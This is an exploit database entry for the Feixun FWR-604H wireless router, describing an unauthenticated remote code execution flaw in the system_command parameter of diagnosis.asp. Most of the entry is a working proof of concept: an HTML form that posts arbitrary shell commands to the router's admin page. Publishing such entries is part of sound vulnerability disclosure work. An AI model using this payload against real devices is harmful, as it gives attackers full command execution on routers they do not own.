Feixun Wireless Router FWR-604H - Remote Code Execution Exploit

🗓️ 01 Jul 2014 00:00:00Reported by RootType

Feixun FWR-604H Router Remote Code Execution Exploi


                                                # Exploit Title: [Feixun FWR-604H Wireless Router Remote Code Execution]
# Date: [2014-01-09]
# Exploit Author: [Arash Abedian
(http://www.exploit-db.com/author/?a=6187&#60;http://www.exploit-db.com/author/?a=6187)&#62;
)
# Vendor Homepage: [http://feixun.com.cn]
# Version: [Hardware Version 1.0, Firmware Build: 7642]
# Tested on: [Hardware Version 1.0, Firmware Build: 7642]
# Vulnerability Details:
Feixun FWR-604H 150Mbps Wireless N Router is vulnerable to Remote Code
Execution vulnerability(Hardware Version 1.0, Firmware Build: 7642, Vendor
website:feixun.com.cn). The web server don&#39;t authenticate user prior to
system level execution. As such an unauthenticated attacker can easily
remotely exploit the target using system_command parameter in diagnosis.asp
file.

&#60;html&#62;
&#60;body&#62;
Exploit Feixun FWR-604H
&#60;FORM ACTION=&#34;http://192.168.1.1/diagnosis.asp&#34; METHOD=POST&#62;
&#60;input type=&#34;hidden&#34; name=&#34;doType&#34; value=&#34;2&#34;&#62;
Command: &#60;input type=&#34;text&#34; name=&#34;system_command&#34;&#62;
&#60;input type=&#34;hidden&#34; name=&#34;diagnosisResult&#34; value=&#34;&#34;&#62;
&#60;input type=&#34;submit&#34; value=&#34;Exploit&#34;&#62;
&#60;/FORM&#62;
&#60;/body&#62;
&#60;/html&#62;

01 Jul 2014 00:00Current

7.1High risk

Vulners AI Score7.1